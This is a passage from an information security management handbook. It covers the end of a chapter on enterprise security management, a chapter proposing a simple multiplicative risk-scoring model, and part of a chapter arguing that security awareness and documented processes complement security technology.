of several days and may miss some of the more determined malicious users whose primary mission is to avoid detection, not complete the job quickly. Determining which incidents actually generate an alert is a difficult task. Two approaches to where to start are (1) alert on almost nothing and increase alerting as time goes on, or (2) alert on almost everything
Enterprise Security Management Program
231
until the false positives are removed or the incident response team collapses. The first alternative — alerting on nothing initially and closely monitoring the console for some period of time — is probably preferable. After reviewing baseline traffic (being careful not to baseline malicious traffic), alerts can be added based on malicious traffic that is not normally seen after investigating some of the malicious traffic that may be fairly regular in the enterprise. When the organization supplies the required time, resources, funding, and personnel to support the ESM system, some tremendous benefits will be realized and will continue to grow as the organization becomes familiar with the ESM system operation and benefits. The ESM program will reveal the realtime, dynamically updated risk posture of the organization. With the proper reporting tools, the risk posture at the asset, business unit, regional, and corporate level can be part of the dashboard to quickly identify hot spots and areas that require additional controls or other corrective actions. Also, the ESM system can identify network bottlenecks, faulty devices, and other poor configurations that may be adversely affecting network performance. Finally, through proper operation and management, the ESM program allows an organization to manage effectively the overall risk of that organization and its assets and business processes and to make educated decisions with regard to what controls to deploy, what systems to implement, and what corrective actions must be taken. As a business enabler, the ESM program provides an advantage over organizations that cannot dynamically measure their risk as they deploy new services and applications ahead of their competition.
Conclusion No “silver bullet” can eliminate the security risks of an enterprise, and no package or program can automatically mitigate every identified risk, but an effective ESM program will allow the enterprise to make educated business decisions and manage risk within an acceptable risk range. Although that single advantage often justifies the expense of the ESM program, it is not the only one, as other advantages include the security management dashboard and a holistic view of the risk components that can secure an early return on investment for the organization. Finally, no program with such tremendous benefits can come without a proportionate demand on effort, resources, and funds. To design and implement an effective ESM program, additional personnel will have to be hired and trained, systems purchased, programs developed and integrated, policies updated, and more; however, for those corporations willing to make the commitment, the benefits, return on investment, and increased security will clearly become business differentiators.
This page intentionally left blank
19 Technology Convergence and Security: A Simplified Risk Management Model Ken M. Shaurette
Introduction How do we balance the correct amount of security with the appropriate use of technological solutions? Every industry today from consulting to manufacturing, finance to healthcare is witnessing the convergence of technology. Banks are doing away with paper check reconciliation, replacing it with scanning or imaging canceled checks to reduce physical storage requirements and mailing costs to customers. Hospitals are using radiofrequency identification (RFID) and bar code scanning to match prescriptions to the correct patients to reduce medication errors. Educational institutions are populated with students carrying laptops, and some schools have even gone as far as issuing IP-based phones to their students as part of their residency on campus. They can use the phone for making calls anywhere on campus, as though they were in their dorm, as well as access directories and specialized Web applications. The increased productivity, cost savings, and even life-saving opportunities that the convergence of technology is making possible are very exciting but also very scary. Someday we might hear: “Oh, no, someone hacked my grade book from my cell phone!” Already, in 2005, we have seen cell phones hacked (e.g., one owned by Paris Hilton), and a BlueSniper rifle demonstrated at Defcon Las Vegas in 2004 is able to extract information off vulnerable Bluetooth-enabled cell phones. Or, we might someday hear: “Oh, no, someone hacked my cell phone from my grade book!”
The McDonald’s/Burger King Mentality Why do I bring all this up in a chapter about a risk analysis model? Consider the convergence of technology and ease of use we are experiencing in technology today. Technology has created a dependency, a requirement beyond just a nice-to-have situation. This dependency and craving or starving for technology have a cost that goes beyond just the dollars and cents to purchase the cool new toys. Demand is driving access anytime, anywhere and an “I want it now” attitude among the user communities. I call this the McDonald’s mentality, because we no longer have any patience; we expect it fast just like we expect our
233
234
Information Security Management Handbook
Confidentiality
Liability
Availability
Integrity
FIGURE 19.1 The CIA security triad and liability.
fast food. Why McDonald’s? This social change brought on by the immediacy of going to fast food restaurants has caused us to want everything quickly, not just our Big Mac. We expect fast food on every corner, and now Burger King has introduced the concept of being able to have it our way, so we expect quality as well. Similarly, we are beginning to expect split-second response time on our networks and access to e-mail and the Web in airports and hotels, even as we walk down the street. We have Webenabled phones and personal data assistants, and when our reception is bad we are not very patient with our service companies. The ease of using these technologies has rapidly improved in the last few years to meet consumer demand. On the flip side, we must consider the impact of this convergence of technology on our demand for the latest and greatest. Some examples would include 911 systems being hacked or the posting of personal telephone numbers from Paris Hilton’s cell phone. Theoretical challenges, such as the example of the grade book being hacked from a cell phone, must be addressed. How do we as organizations gauge our levels of risk? What can we do to manage risk? Is there an easy way to determine how much risk we have and what impact we can make by managing the risk?
A Prediction Before jumping into my simplified illustration of risk, let’s first talk about a prediction made by Gartner in 2002. Gartner stated that 75 percent of organizations that fail to plan and build a secure infrastructure will have at least one security breach in the next five years that will disrupt strategic services. Mark Chapman, former Director of Information Security for Omni Corporation of Pewaukee, WI, and I modified that prediction a bit in a presentation for the Ohio Higher Education Conference (OHEC) that same year. We stated that all organizations that fail to plan and build a secure infrastructure will have at least one security breach in the next five months that will disrupt strategic services. I think history shows that our modified prediction was actually more accurate.
Convenience What happens to confidentiality, integrity, and availability (CIA) as convenience increases? The CIA security triad, as it is often referred to, in my opinion circles around liability (see Figure 19.1). A lack of diligence and adequate management of risk increases liability because each element of the triad is impacted. This lack exposes data to disclosure, affecting privacy (the confidentiality element). It exposes the data to inappropriate modification, bringing to question the integrity of any information. Finally, either the overall vulnerabilities in systems and their data expose them to undesirable things, such as malicious code, or the systems that are not patched risk their data not being available when access to it is desired.
Technology Convergence and Security: A Simplified Risk Management Model
235
High
RISK
Low Less
CONVENIENCE
More
FIGURE 19.2 Convenience with a direct impact on risk.
Risk Versus Convenience Lack of diligence and attention to security will result in an inadequate amount of appropriate security controls, which increases liability. The legislation passed in recent years represents an attempt by the government to force companies to implement reasonable controls or face liability. Sarbanes–Oxley, the most recent legislation, directly holds chief executive personnel responsible and as a result liable for inaction regarding ensuring that proper technology controls are in place. The federal organizational sentencing guidelines were updated in 2004 to better account for technology, specifically identity theft. Convenience often has a very direct impact on risk (see Figure 19.2). Six components are illustrated in this risk analysis model, and each can have a very dramatic effect on risk. The model is divided into two categories, each containing three of the components. The risk management portion includes those components that help manage risk — security awareness, security spending, and the acceptance of security by the user community. To understand this relationship, refer to Figure 19.3. The risk factor portion also has three components — embracing technology (leading edge), threat exposure, and asset value (or what the information assets are worth). For our simplified risk analysis, we will use a numeric scale of 1 to 3 for each of the six components. We will begin our discussion with the risk factor portion of the model.
Security Awareness
Security Spending
Acceptance
FIGURE 19.3 Security awareness, security spending, and acceptance of security.
236
Information Security Management Handbook
1 LOW
3 HIGH
FIGURE 19.4 Is your technology on the leading edge?
1 LOW
3 HIGH
FIGURE 19.5 Threats: how exposed is the organization?
Risk Factor Embracing Technology Does your organization rush out to buy the latest and greatest of new technologies, or does it still use those green/amber screen terminals from the 1980s? Many organizations are seeing an increase in the advancement and adoption of new technology by their user communities. Many systems and network administrators are finding themselves faced with departments that have decided they require new technology in their area, both hardware and software. This is very often the result of a great job of sales by some vendor who has convinced them that they need a particular technology that will provide some immediate benefit. Another potential situation is that personnel have heard about this new technology from their peers and just think it would be cool to use. If your organization finds itself often getting into the newest, latest, and greatest technology as an early adopter, give yourself a value of 3 for your embracing technology component. If you find that everyone is still doing it the way they’ve always done it, then give yourself a value of 1. If you feel that your organization is in the middle of the pack with regard to adopting new technology, neither early nor late, use a value of 2 (see Figure 19.4).
Threat Exposure The next component in the risk factor is your organization’s level of threat, vulnerabilities, or exposures. How likely are you to be attacked? Does your organization deal in extremely valuable materials or is it perhaps an organization that works with controversial chemicals? Perhaps your organization’s name is well known and viewed as a target for malicious activity. Educational organizations, as an example, could find themselves exposed due to, for example, the courses offered, the mix of students, research grants, size, visibility, or maybe even tuition. For an organization that believes it is greatly exposed, give yourself a value of 3, a value of 1 if your organization is not very highly exposed, or a value of 2 for something in between (see Figure 19.5).
Relationship What is the combined effect of your scores? Your leading edge or embracing technology score (1, 2, or 3) and your threat exposure score (1, 2, or 3) can often be changed by making modifications in your organization. What impact or potential impact might there be on your organization if it always uses the newest in technology and is also a very high-profile organization. Maybe that latest in technology is what makes the organization a desirable target, or perhaps using that new technology, which has not been in the industry long enough for the bugs to be worked out, has created a greater chance for your organization to be attacked.
Technology Convergence and Security: A Simplified Risk Management Model
1 LOW
237
3 HIGH
FIGURE 19.6 How valuable are the assets?
1 SMALL
3 LARGE
FIGURE 19.7 How large is the budget?
Asset Value The next aspect of this analysis is one that often cannot be changed to improve or affect the risk factor. That component is asset value. Think about this in very simple terms. Take into account the value of your organization’s information assets from the perspective of the CIA triad. How valuable would your customer list be if stolen? Do you maintain research data or other proprietary formulas that, if modified, would greatly impact your business? Would an outage involving some of your organization’s most critical systems, such as an Internet E-commerce Web site, jeopardize company finances or its ability to conduct business? Perhaps just having your network unavailable for a significant time would impact your customers. Also, think about the liability that might be associated with the confidentiality, integrity, or availability of those assets. Once again, give yourself a score of 1, 2, or 3 to represent the value of your information assets, where 1 represents low-value assets and 3 represents high-value assets (see Figure 19.6).
The Risk Factor Equation This model makes it very easy to establish an organization’s risk factor. Simply multiply your embracing technology (ET) or leading edge score (1, 2, or 3) by the exposure threat (T) score (1, 2, or 3) and by the asset value (AV) score (1, 2, or 3). The resulting number is your risk factor, or RF: RF = ET × T × AV The maximum possible risk factor would be 27. This number is a representation of your organization’s risk. Now let’s shift into how well we are doing as an organization to manage that risk.
Risk Management Security Spending First, let’s begin by giving your organization’s security budget a value of 1, 2, or 3. This value should represent how willing management is to budget adequate funds for security (1, willing; 3, not very willing). Do they provide a sizable budget to handle most things that come along, or are they conservative, believing that security is not all that important? (See Figure 19.7.)
Security Awareness Now let’s account for the level of security awareness in your organization using the same scoring system as before. Choose 1 (very aware), 2, or 3 (not at all aware) to represent how aware or not aware users in your organization are of the importance of protecting information (see Figure 19.8).
238
Information Security Management Handbook
1 LOW
3 HIGH
FIGURE 19.8 How security aware are your users?
1 POOR
3 GOOD
FIGURE 19.9 How well are security controls accepted as a requirement?
Acceptance of Controls This aspect of risk management can be helped by increasing security awareness. An effective awareness program can help to improve acceptance of security controls by people in the organization. Security awareness has become a component of holistic security programs that require more focus than in the past. Regulations such as the Health Insurance Portability and Accountability Act (HIPAA) have specifically identified awareness as a required element for regulatory compliance. For years, security awareness, although identified in every complete security program, was never given the funding or attention that it deserved. Too often, the individuals most involved with security would look for technical controls they could implement, and it was not uncommon to hear system administrators complain about how stupid their users were because they could not even follow simple instructions to change their password or remember the new passwords when they did change them. Finally, whether because security programs have managed to obtain all the security technology they needed and have gotten it implemented or because the new regulations have actually been able to put the necessary emphasis on awareness, security awareness programs have become a critical component of information security. These programs are educating users throughout the organization not only on the importance of policy but also how to interact or better leverage technology-based security controls. Simple controls, such as choosing a good password, or more complex requirements, such as knowing how and when to encrypt confidential data or to deal with e-mail attachments to avoid scams such as phishing or pharming, are required. Phishing, as defined by Webopedia, is “the act of sending an e-mail to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surrendering private information that will be used for identity theft.” Pharming, by comparison, is similar but, as defined by Webopedia, it seeks “to obtain personal or private (usually finance-related) information through domain spoofing.” Rather than spamming with malicious and mischievous e-mail requests to visit spoof Web sites that appear legitimate, pharming poisons a Domain Name System (DNS) server by infusing false information into the server, resulting in a user’s request being redirected elsewhere (see Figure 19.9).
The Risk Management Equation How you can effect a change in the management of risks to data in your organization is a factor of accepting the technology-based controls and policies and being more security aware: RM = SA × CA × B where RM is risk management, SA is security awareness (1, 2, or 3), CA is controls acceptance (1, 2, or 3), and B is the budget (1, 2, or 3). The result of this equation is a numeric value from 1 to 27 that illustrates how well an organization is managing risk. Table 19.1 provides a sample matrix of risk factor and risk management.
239
Technology Convergence and Security: A Simplified Risk Management Model
TABLE 19.1 Risk Factor and Risk Management Matrix Risk Factor Embracing technology Threat exposure Asset value
What To Do? An organization has several options. For years, executives used a “bury their heads in the sand” technique. They often figured if they did not know about security issues, they could avoid fixing them or could even ignore their responsibility to budget for and fix them. This often made it very difficult to get a vulnerability assessment or overall security risk assessment completed in an organization. The events of September 11, 2001, changed that forever. The tragedy of that day woke up the world to the importance of security in our airports. The importance of having disaster recovery plans became apparent, but most importantly that day created an awareness of and alertness to security vulnerabilities like no event ever before. The issues of not just the physical aspects of security, which were compromised by the terrorists, but also the vulnerabilities that exist in every organization’s information security or cyber security are written about in nearly every issue of any technology trade magazine. Prior to that tragic day, the attention and awareness given to security were not nearly as great as after. This more than anything has made it impossible for organization executives to plead ignorance regarding the importance of security and their direct responsibility for due diligence to ensure adequate controls in their organization. An unrealistic alternative for improving our risk factor is to go back to pen and paper and manual methods that existed before the technology and the convergence of technology that exist today. Or, we could simply accept the risk as a cost of doing business. Organizations accept risk every day, but it is still necessary to identify, categorize, and prioritize the risk. Vulnerabilities in systems and networks can be identified by implementing a vulnerability assessment. Such an assessment can also categorize vulnerabilities as high, medium, or low risk. When the risks are known and categorized, they can be prioritized by identifying the ones that require more immediate attention versus those that can wait or maybe can be accepted. When accepting a risk, it is important to document the decision to assume that risk and the justification for doing so. This documentation will be critical in an audit and in demonstrating diligence in making a conscious business decision to manage this risk. Not yet popular would be a process for handling risk known as transferring the risk, also known as insurance. The statistical sampling of cyber security events and loss is insufficient for insurance company actuaries to be sure how to set a reasonable premium to insure against these kinds of events. Premiums tend to be too high for most organizations to justify when they can find this insurance. More common is to take out insurance against the more physical aspects of security, such as insurance covering loses from fire, damage to computers, or theft of systems. The most common method for dealing with and managing risk is to mitigate risk. This includes putting together a comprehensive security program that considers technology security controls as well as the people and process aspects. It may mean adding additional layers of depth to the corporate security, eliminating vulnerabilities with patch management, and enforcing security policy or educating users in security awareness.
Solving the New Paradigm For the purposes of our simplified risk management model, let’s briefly discuss a way to reduce risk using three of the components in our model: embracing technology, threat exposure, and asset value. Together, these comprise our risk factor. We can easily improve our score (and reduce our risk) by lowering any of the values of any of the components of the risk factor. As we noted, the asset value is pretty much a
240
Information Security Management Handbook
set factor so we can really only improve on the other two. We can choose to be less bleeding edge in our choice of technology, instead choosing to put a bit more time in the market before becoming the company with all the newest widgets. The other factor in our model is risk management. We can equally improve our security situation by making changes to any of the components of the risk management equation: increase security spending, add to our security awareness program, or increase user acceptance of controls. Using our model, let’s walk through a sample illustration to show management how improving on one area can improve the entire security situation. If we focus our current security awareness program on educating users to better accept controls that we have already implemented, we can show a significant improvement in our managing of risk just by increasing our factor by 1. By doing this we hope to be able to get management to support security funding and resources. Simply improving the user buy-in from 1 to 2 greatly improves our risk management. We cannot really change the value of our assets, so we must focus on our use of technology to directly reduce risk throughout the organization. By rating the organization’s use of bleeding edge technology as being not quite as aggressive, we can reduce our score from 3 to 2, lowering our risk factor by nearly 25 percent. In conclusion, we have determined that the convergence and convenience of technology directly correspond to risk. A simplified way to analyze risk is to work through two equations comprised of important factors that impact the protection of an organization’s information assets. The factors for risk management that we used consisted of budget, security awareness, and how well users accept security controls. It is possible to swap out other aspects of your security program for any of these components, if you wish, but these are the best for illustrating impacts on risk. Factors that increase exposure in an organization include the use of leading edge technology, specific threats within the organization, and the value of the assets being protected. We have many ways to improve the security state of our organization. In today’s world of technology convergence, it all comes down to managing risk to maintain a successful business.
20 People, Processes, and Technology: A Winning Combination Felicia M. Nicastro
Introduction Security technology is not a silver bullet, as is generally believed, but the growth in security-related technology will continue at a rapid pace as security threats evolve. Firewalls, intrusion detection systems (IDSs), intrusion prevention systems (IPSs), anti-virus software, patch management software, identity management software, asset management tools, and more have been developed to assist organizations in improving their security posture. If all these tools are silver bullets, then why are organizations affected now more than ever by such security threats as malicious hackers, worms, viruses, and other types of vulnerabilities? The solution to this problem is the subject of some debate among security professionals, but one possible solution is not to throw tools at a security threat or problem but instead improve aspects of the people and processes surrounding the technologies already in place within the organization. This will improve the organization’s security posture and reduce their exposure to security threats. The purpose of this chapter is not to minimize the importance of security-related technologies; rather, it is intended to serve as an introduction to the various options available to improve an organization’s current security posture — options that include implementing security technologies to supplement what cannot be achieved with people and processes alone. Such a winning combination will result in a more secure organization overall. Obviously, an organization cannot remove its anti-virus solution or its asset management system; however, with regard to implementing anti-virus protection, the number of overall viruses introduced to the organization can be reduced by providing employees with a few simple security awareness programs. Employees who are educated on the damage inflicted by viruses will understand why certain security procedures are in place for them to follow, such as for e-mail. They will also understand how viruses can interrupt an organization’s e-mail system and the associated remediation costs. Such employee education can be provided by seminars, “Webinars,” or postings on the organization’s internal Web site. Although these are all good practices, they do not provide employees with the constant stream of information required to reinforce the importance of the existing procedures and the steps they need to follow. To ensure that employees understand the extent to which viruses can affect their work life, a weekly newsletter e-mailed out to all employees can describe how other organizations have been affected
241
242
Information Security Management Handbook
by viruses or explain the damage that a recently detected virus could have done to their system. If they have a basic understanding of how a virus is transmitted, what kind of e-mail messages to avoid, and what to do when they get one, they are more likely to handle such situations appropriately, thus saving the organization time and money. This is an example of how people and processes improve the effectiveness of the security technology in place. The security technology provides the anti-virus software, which is updated on a daily basis, but the organization’s people, armed with knowledge and documented processes, are key to defending against viruses that threaten the organization. In this example, the combined aspects of technology, people, and processes are a winning combination protecting the organization from the threat of viruses. Of course, security awareness, documented processes, and anti-virus software must be kept current.
The Silver Bullet No one tool can be the be-all and end-all for any organization. Granted, this is not the typical attitude of an organization, but organizations do look to tools more today than ever to solve their problems when it comes to security. The combination of a set of tools rather than one can be a more successful solution, although too many flavors of disparate vendor’s tools can become an operational nightmare. On the other end of the spectrum, an organization that only has one vendor’s software suite in place gives rise to another security risk — having all its eggs in one basket. Not having any tools and relying completely on people and processes is also not a good solution, unless the organization is very small and all of the work can be done manually, even though it is very time consuming to do so. Typically, this occurs in the home office, where complexity is not necessarily the case. The ultimate goal is a balance of required security technologies that complement each other and provide the diversity required to ensure a defensein-depth approach, in combination with people and processes in such a way as to improve the security posture within the organization. Consider a firewall. It is a simple security measure that can provide a great deal of security protection if configured and maintained appropriately. A firewall may permit port 80 for HTTP for user Web browsing capabilities; however, some users may find that downloading movies and music at work is faster than via the connection they have at home. No one has told these users that they cannot do this, and the rule set in the firewall permits them to do so. So, every day downloads are started and run in the background for most of the day. At the end of the day, these users burn their music or movies to CDs or DVDs, if available, and take them home for personal use. If these employees do not know that what they are doing is contradictory to the organization’s security policy, the employer can do very little when these employees are detected. Also, a firewall that is not configured properly could only be one of several holes in the organization’s perimeter. Employees who are not aware that such downloads are against policy will continue to do so unless they are educated on the policy and what it entails. In some cases, these ports have to be accessed through the firewall for business-related tasks, so perhaps the firewall cannot be locked down as it needs to be. Instead, knowledge through education can arm employees with the information they need to know to adhere to company policy. Such education, accompanied by a stringent security policy, which users are required to sign and abide by, gets the point across. Finally, a short session on spyware or safe Internet surfing (or browsing) would be an inexpensive way to accomplish the same task, in addition to further enhancing security. In summary, then, security technology is not the complete and only answer to the problem of security, as it is already in place and still does not provide all of the protection required. Instead, arming employees with the information they need to understand security awareness and the organization’s policy ensures that inappropriate activity does not take place. Today, most viruses, worms, or malicious activities that affect an organization originate with external entities. Although some of the problems are initiated internally, an organization’s security problem would be improved if a greater focus was placed on people through awareness and training and through defined and documented policies and procedures than on implementing the latest and greatest security tool or technology.
People, Processes, and Technology: A Winning Combination
243
People A current trend for organizations is to place the budget for security awareness and training at the lowest tier of their security priorities and instead put the latest and greatest security products at the top of the list in the hope that these products will solve all of their current security-related threats or problems. If the focus was on the people instead, some security technologies may not even be needed. A few years ago this was different. Training employees in security and security awareness was more likely to be performed on a yearly basis, in addition to orientation training that all employees receive when they begin employment with the organization. Now, security is included in the orientation training as one topic among many and is the focus of attention for only a short period of time, perhaps an hour or two at the most. Companywide security programs simply do not exist today as they used to. In the January 2005 issue of CSO Magazine, a survey was codeveloped by CSOonline and Carnegie Mellon University’s Computer Emergency Response Team (CERT). In it, 82% of the respondents stated that they have a process in place to regularly scan for viruses/malware; however, only 40% of the respondents stated that they have a process in place to train employees to identify suspicious physical events or items. The results of this survey showed that security awareness and training are not being performed in organizations as they should be. Companies are conducting fewer security training programs due to budgeting issues. Also, the expense of maintaining the security posture of the organization on a day-to-day basis may not allow the organization to also conduct a training program due to a lack of resources and budget. The problem is that, in most cases, implementation of the security technology has exceeded its allocated budget. As a result monies allocated to security awareness and training are used to complete the technical implementation, and security awareness and training are eliminated altogether. The key is to get back to basics. The focus has become one of improving security through technology instead of improving security through people. The power of employees is underestimated. Employees obviously want to protect the organization they work for and the internal proprietary information contained therein. If they understand what they need to do to protect themselves and the company’s information, they will most likely take the necessary steps to do so. This is why getting back to basics and relying on the employees within the organization to assist in improving the security posture is so important, although many organizations or security groups within the organizations do not look at things this way anymore. The security group may even try to bypass employees to improve security, sometimes using stealth security technology so it does not affect the user; the user may not even know it is there. This is a common requirement set forth by organizations looking to deploy a new security technology. Vendors are asked to ensure that the new software being implemented, such as a personal firewall, anti-virus software, or other desktop-related software, will not impact the employee’s ability to work and that it will run quietly in the background. Although employees do not want their ability to work productively to be disrupted, they should be aware that software is on their system that protects them and the organization’s proprietary information from security-related threats. This is another level of security awareness. Employees who understand what the software is and how it protects them are less likely to disable it or ignore warnings from this software. Instead, they will choose to follow the policies and procedures that have been outlined for them.
Processes Another area that is often overlooked is processes. Maybe not so much overlooked as never gotten around to. Procedures also fall into this category. Before we explore this path, it is important to define process, policy, and procedure using patch management as an example. A process would be considered the set of policies, procedures, and guidelines developed to ensure that the patch management policy is adhered to and followed on a regular basis. The patch management policy ensures that vulnerable systems within the organization are appropriately patched as needed. The functional policy might state that the organization will utilize a standard third-party tool to accomplish a specific task within patch management, such as inventory management, patch distribution, or reporting. Another section in the policy might define the
244
Information Security Management Handbook
sanctions to be imposed when an employee does not comply with the policy. A policy is typically a highlevel document that defines goals and the high-level requirements that must be implemented to comply with the policy. A policy can exist at more than one level within the organization. Typically, an overall organizational security policy states top management’s general goals regarding information security. Lower level policies are created by departments or business units within the organization to support the goals of the overall organizational security policy. For example, a patch management policy would be a functional policy, perhaps created by the security or operations group within the organization. It may state that the department or business unit has established this policy to ensure that all employees are taking the appropriate steps necessary to install appropriate patches on the systems. This policy is supported by procedures and guidelines documented by the system administrator (or other responsible group). It also may state some high-level requirements, such as employees must follow the patch management process. Procedures are developed to support the policy. In the example of patch management, the procedure would be a patch management procedure. This is a more detailed document that discusses the steps that must be completed to accomplish a task. To continue with the patch management example, the procedure document would include the steps of the procedure, the roles and responsibilities of the individuals involved, and even the method for completing the tasks. The procedures, then, are more detailed stepby-step instructions on how each piece of the process is to be completed. In the patch management example, a procedure would be written directions for how the tool used to deploy the patch will be utilized on a daily basis and would include the steps required to generate the required reports. This has been a very high-level explanation of a policy and the supporting procedures that make up a process. Actual guidelines have not been included in this example; however, they would be created and compiled with the policy and procedures to make up the patch management process. It takes a great deal of time and dedication initially to develop these documents and make sure that they are not only accurate but also updated on a regular basis. The organization must also train its employees (or at least the responsible individuals) with regard to what has been developed and documented. Many organizations do not have the time or the resources to dedicate to these tasks. Typically, one organizational security policy establishes the security goals of the organization, and it usually is not regularly updated. The security policy might also contain items that cannot be achieved by the organization due to various constraints. One of the most important items to consider when creating or revising an organizational security policy is to ensure that what is stated as policy is actually achievable by the organization. This is where things can get tricky. Depending on the size and make-up of the organization, some departments may be able to conform to the policy, perhaps because they have to adhere to stringent federal regulations anyway, while other departments may not be able to complete the tasks required as stated in the policy. This is where functional and implementing policies come into play. Departments or business units can create lower level types of policies that apply directly to them. Although individual names should never be included in a policy, the specific actions required of individual departments or business units can be. Such a policy could also call out the functional policies that should be referenced or used for that department depending on the topic. Federal regulations impose their own set requirements when it comes to policies, procedures, and documentation. Consider the Health Insurance Portability and Accountability Act (HIPAA), passed in 1996. HIPAA regulations require defined and documented policies and procedures to be maintained for all aspects of the organization. The Act also requires that documentation be maintained for a specific amount of time, updated on a regular basis, and made available to all individuals to which it applies. This regulation alone puts a lot of pressure on organizations in the healthcare industry, particularly those considered to be covered entities (CEs). They must complete these tasks to be compliant with the regulation. Over time, the security posture of these organizations will improve because they are taking the necessary steps to educate their employees on their responsibilities and the overall security posture of the organization. This is a roundabout way to ensure that policies and procedures are documented, updated, maintained, and provided to users, but it will prove to be very beneficial to these organizations, even though initially it will require a lot of effort.
People, Processes, and Technology: A Winning Combination
245
This chapter is not intended to go into too much detail surrounding policy and procedure, as many fine publications are dedicated to this topic; instead, the point of including some discussion of policy and procedure was to stress how well-written, formal, and documented policies can improve an organization’s security posture without the need for additional security technologies.
Processes and Security Processes and related procedures support policies. Processes can be described as an informal combination of policy, standards, procedures, and guidelines that together enable an operation or task to be completed securely. Documenting a process is often a daunting task that no one wants to complete. In a large, complex organization, documenting every process that is followed regularly or is completed on a daily basis can take a great deal of time. In an efficient organization, these processes would be documented as they arise, rather than trying to create them all at one time. Again, this is an area where federal regulations are having an impact on organizations. HIPAA set the requirement that CEs must take reasonable and appropriate steps to ensure that procedures are documented to ensure their compliance with the regulation. Having these procedures in place, not only for the use of system administrators, network operations centers (NOCs), and other operational areas but also for daily use by general employees, ensures that the appropriate procedures are following in all circumstances. In many cases, having these items documented will increase the level of security within the organization without using any security technologies. An employee who knows that a particular policy and procedure must be adhered to when gaining remote access from home or on the road is are less likely to introduce additional risks to the organization by not following a documented process. Again, in a roundabout way, by complying with federal regulations through documented procedures an organization improves its security posture without the need for security technology. Consider, for example, an employee who accesses the company network remotely through a virtual private network (VPN) from home. This is a common scenario today, one that many organizations provide for their employees. This arrangement can increase productivity, but it could come at the expense of increasing risks to the organization’s proprietary information, depending on how educated the employee is. Employees who have a company laptop should be made aware of what they can and cannot do with their company-owned laptop. If an employee connects the laptop at home using broadband, only uses the laptop for work-related purposes, and establishes a VPN connection from home to the corporate network, then risks to the organization will be reduced. If, on the other hand, the employee has a home computer that is shared by all members of their household and is connected over broadband, additional risks could be incurred. The home computer is not likely to have the organization’s standard build installed on it or include anti-virus software, a personal firewall, or even spyware protection. In this case, the open computer serves as a bridge between the organization’s network over a VPN and the Internet, through the remotely connected user. In many cases, use of a home computer is not monitored, and viruses, spyware, or other malicious software programs can be downloaded to the home computer without the employee’s knowledge. When that employee connects to the organization’s VPN, this malicious software can be spread to the organization’s network through an otherwise secure connection. If procedures and guidelines have been documented and distributed and education provided to employees, then the employees will understand how they should connect remotely and what precautions they should take on their home computers. Having a simple documented procedure in place can reduce the organization’s risk exponentially, depending on the number of employees they have connecting remotely to the network from home but not on a company-issued laptop. Most organizations that offer remote access capabilities to their employees have a remote access policy in place. This is a great start, but providing user education through security awareness or training and procedures for gaining remote access in a secure fashion will improve the security posture of the organization and eliminate the introduction of additional risks into the internal environment.
246
Information Security Management Handbook
Technology To some, the technology part of people, processes, and technology is irrelevant; for others, implementing a security-related technology would appear to be the only solution. Organizations must determine when a security-related technology should be implemented as an organizational standard to assist in improving the security posture. They must also determine where it is implemented and how it will be managed and maintained on a daily basis. In some instances, the organization will have a NOC or security operations center (SOC) in place. If this is the case, then the implementation, operations, and maintenance of the technology would come from this central group. If no NOC or SOC is in place, then operating procedures must be followed to ensure that the technology meets the requirements of the organization from a daily operational perspective. In many cases, a security event within the organization, such as the introduction of viruses into the organization’s network, will spawn the use of a security technology. Also, if an organization is having a difficult time maintaining systems as patches are released, they may opt for an additional security technology instead of putting a solid patch management process in place. If either of these are strong pain points for an organization, and the current software or processes are not providing the level of support it needs, the organization may opt to go with host-based intrusion detection (or prevention) software. Although this approach gives organizations an additional layer of security on their desktops, they could accomplish the same thing by improving other processes that should be in place. All aspects of implementing such new software on desktops should be completely evaluated prior to implementation to ensure that it will not introduce other issues or risks into the organizations environment. In other cases, organizations might be experiencing a rapid increase in the unsolicited installation of spyware software on their desktops or laptops. This is a problem that has grown significantly over the past year. Bot networks, which can affect home PCs and unprotected corporate laptops, are systems that have been taken over by a hacker through the use of spyware or other malicious software installed on a system without the user noticing. The system is then controlled by a central system, similar to a centralized management server that sends the commands or actions to the compromised system. When the system is in the control of the hacker, it can be used to perform all types of malicious tasks, including launching distributed denial of service (DDoS) attacks against a target system. In some cases, hackers are waging bot network wars against each other, utilizing numerous systems they control to attack another hacker that has done the same. One way to protect against this is through the use of anti-spyware software that vendors are now making available to users. Such software, combined with personal firewalls, anti-virus software, and the installation of appropriate patches on the desktop, will protect against a bot network takeover. The anti-spyware software prohibits spyware from being installed on a system, thereby protecting the user from the threat that spyware introduces. Is the best solution to the problem of spyware to go out and buy an anti-spyware software product? As just noted, other steps can be taken to ensure that a PC is protected, and, although adding this software will help, a more comprehensive approach should be taken. This is an area where people and processes can combat against a threat without spending security money on implementing another tool. In all cases, the organization should perform an appropriate analysis of the problem and possible solutions prior to purchasing a new security technology. This will ensure that the company is spending its security budget appropriately and that they are taking reasonable and appropriate steps to improve the overall security posture within the organization. Organizations can determine which security technology is best through various means of analysis. In some cases, organizations will conduct a product “bake-off,” or in-house comparison, to test various products to determine which one will fit their needs and integrate easily into the existing network. Organizations should be cautious about adopting new products or using companies fresh on the market; instead, companies should consider going with “baked” solutions, ones that have been around for a reasonable amount of time. In some instances, new products may not have all the features the organization is looking for, but the vendor may make promises to get these new features added to the next release. Often, however, the release of these new versions is delayed. Also, new products may have vulnerabilities directly within the application that have not yet been identified. Going with a
People, Processes, and Technology: A Winning Combination
247
proven solution and application will ensure that the organization is implementing a security technology that has gone through rigorous testing and version updates. It is more likely that an established vendor will continue to be in business for a while compared with a new, unproven one. The worst thing for an organization is to implement a complex and costly security technology only to have the vendor disappear in a year’s time, leaving the company with not only the costs and technology but also no support or updates in the future. Regardless of the path taken by the organization, due diligence must be taken to ensure that a new security-related technology can be integrated into the current environment and will achieve the results the organization is seeking.
